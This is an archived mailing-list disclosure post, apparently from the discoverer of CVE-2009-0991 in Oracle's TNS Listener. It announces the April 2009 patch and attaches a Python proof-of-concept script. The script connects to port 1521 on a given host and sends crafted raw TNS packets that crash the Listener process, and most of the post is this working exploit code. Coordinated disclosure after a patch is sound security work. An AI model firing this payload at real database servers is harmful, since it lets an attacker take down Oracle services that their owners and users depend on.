<<< Date Index >>>     <<< Thread Index >>>

CVE-2009-0991 PoC



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi.

Oracle RDBMS CPUapr2009 came out.
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html
CVE-2009-0991 Listener vulnerability was discovered by me, and here is
attached PoC for it (Python code).

- --
My PGP public key: http://yurichev.com/dennis.yurichev.asc
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkns7r4ACgkQ1YPmFmJG++NmCQCfUPIljnrwnXkGvBA7XtcjVyEx
9DYAoN6fr8DqMRRtYTneEF8IMBrZd7gp
=/VFv
-----END PGP SIGNATURE-----
# TNS Listener (Oracle RDBMS) exploit, cause trap in Listener process 
# (more precisely: in function memcpy() called from ncrfintn() function which 
is located in oranro11.dll)

# Successfully working with Oracle RDBMS Win32 11.1.0.6.0 and Oracle RDBMS 
Win32 10.2.0.3 with latest CPU patches applied

# Vulnerability discovered by Dennis Yurichev <dennis@xxxxxxxxxx>

# Fixed in CPUapr2009, CVE-2009-0991
# 
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 1521))

sockobj.send(
        "\x00\x68\x00\x00\x01\x00\x00\x00\x01\x3A\x01\x2C\x00\x00\x20\x00"
        "\x7F\xFF\xC6\x0E\x00\x00\x01\x00\x00\x2E\x00\x3A\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x4F\x4E\x4E\x45"
        "\x43\x54\x5F\x44\x41\x54\x41\x3D\x28\x43\x4F\x4D\x4D\x41\x4E\x44"
        "\x3D\x73\x65\x72\x76\x69\x63\x65\x5F\x72\x65\x67\x69\x73\x74\x65"
        "\x72\x5F\x4E\x53\x47\x52\x29\x29")

data=sockobj.recv(102400)

sockobj.send(
        "\x02\xde\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\xd4\x20\x08"
        "\xff\x03\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32"
        "\x10\x32\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x44\x00"
        "\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x70\xe4\xa5\x09\x90\x00"
        "\x23\x00\x00\x00\x42\x45\x43\x37\x36\x43\x32\x43\x43\x31\x33\x36"
        "\x2d\x35\x46\x39\x46\x2d\x45\x30\x33\x34\x2d\x30\x30\x30\x33\x42"
        "\x41\x31\x33\x37\x34\x42\x33\x03\x00\x65\x00\x01\x00\x01\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x64\x02\x00\x80\x05\x00\x00\x00\x00\x04"
        "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00"
        "\x00\x00\x84\xc3\xcc\x07\x01\x00\x00\x00\x84\x2f\xa6\x09\x00\x00"
        "\x00\x00\x44\xa5\xa2\x09\x25\x98\x18\xe9\x28\x50\x4f\x28\xbb\xac"
        "\x15\x56\x8e\x68\x1d\x6d\x05\x00\x00\x00\xfc\xa9\x36\x22\x0f\x00"
        "\x00\x00\x60\x30\xa6\x09\x0a\x00\x00\x00\x64\x00\x00\x00\x00\x00"
        "\x00\x00\xaa\x00\x00\x00\x00\x01\x00\x00\x17\x00\x00\x00\x78\xc3"
        "\xcc\x07\x6f\x72\x63\x6c\x00\x28\x48\x4f\x53\x54\x3d\x77\x69\x6e"
        "\x32\x30\x30\x33\x29\x00\x01\x00\x00\x00\x09\x00\x00\x00\x01\x00"
        "\x00\x00\x50\xc5\x2f\x22\x02\x00\x00\x00\x34\xc5\x2f\x22\x00\x00"
        "\x00\x00\x9c\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00\x09"
        "\x00\x00\x00\x50\xc5\x2f\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f"
        "\x58\x50\x54\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00"
        "\x84\xc5\x2f\x22\x02\x00\x00\x00\x68\xc5\x2f\x22\x00\x00\x00\x00"
        "\xa4\xa5\xa2\x09\x6f\x72\x63\x6c\x00\x05\x00\x00\x00\x84\xc5\x2f"
        "\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x01\x00\x00\x00\x10\x00"
        "\x00\x00\x02\x00\x00\x00\xbc\xc3\xcc\x07\x00\x00\x00\x00\xb0\x2f"
        "\xa6\x09\x00\x00\x00\x00\x00\x00\x00\x00\x89\xc0\xb1\xc3\x08\x1d"
        "\x46\x6d\xb6\xcf\xd1\xdd\x2c\xa7\x66\x6d\x0a\x00\x00\x00\x78\x2b"
        "\xbc\x04\x7f\x00\x00\x00\x64\xa7\xa2\x09\x0d\x00\x00\x00\x20\x2c"
        "\xbc\x04\x11\x00\x00\x00\x95\x00\x00\x00\x02\x20\x00\x80\x03\x00"
        "\x00\x00\x98\xc5\x2f\x22\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00"
        "\x00\x00\xb0\xc3\xcc\x07\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00"
        "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43"
        "\x4f\x4c\x3d\x42\x45\x51\x29\x28\x50\x52\x4f\x47\x52\x41\x4d\x3d"
        "\x43\x3a\x5c\x61\x70\x70\x5c\x41\x64\x6d\x69\x6e\x69\x73\x74\x72"
        "\x61\x74\x6f\x72\x5c\x70\x72\x6f\x64\x75\x63\x74\x5c\x31\x31\x2e"
        "\x31\x2e\x30\x5c\x64\x62\x5f\x31\x5c\x62\x69\x6e\x5c\x6f\x72\x61"
        "\x63\x6c\x65\x2e\x65\x78\x65\x29\x28\x41\x52\x47\x56\x30\x3d\x6f"
        "\x72\x61\x63\x6c\x65\x6f\x72\x63\x6c\x29\x28\x41\x52\x47\x53\x3d"
        "\x27\x28\x4c\x4f\x43\x41\x4c\x3d\x4e\x4f\x29\x27\x29\x29\x00\x4c"
        "\x4f\x43\x41\x4c\x20\x53\x45\x52\x56\x45\x52\x00\x68\xc5\x2f\x22"
        "\x34\xc5\x2f\x22\x00\x00\x00\x00\x05\x00\x00\x00\x84\xc5\x2f\x22"
        "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x09\x00\x00\x00\x50\xc5\x2f"
        "\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00"
)

sockobj.close()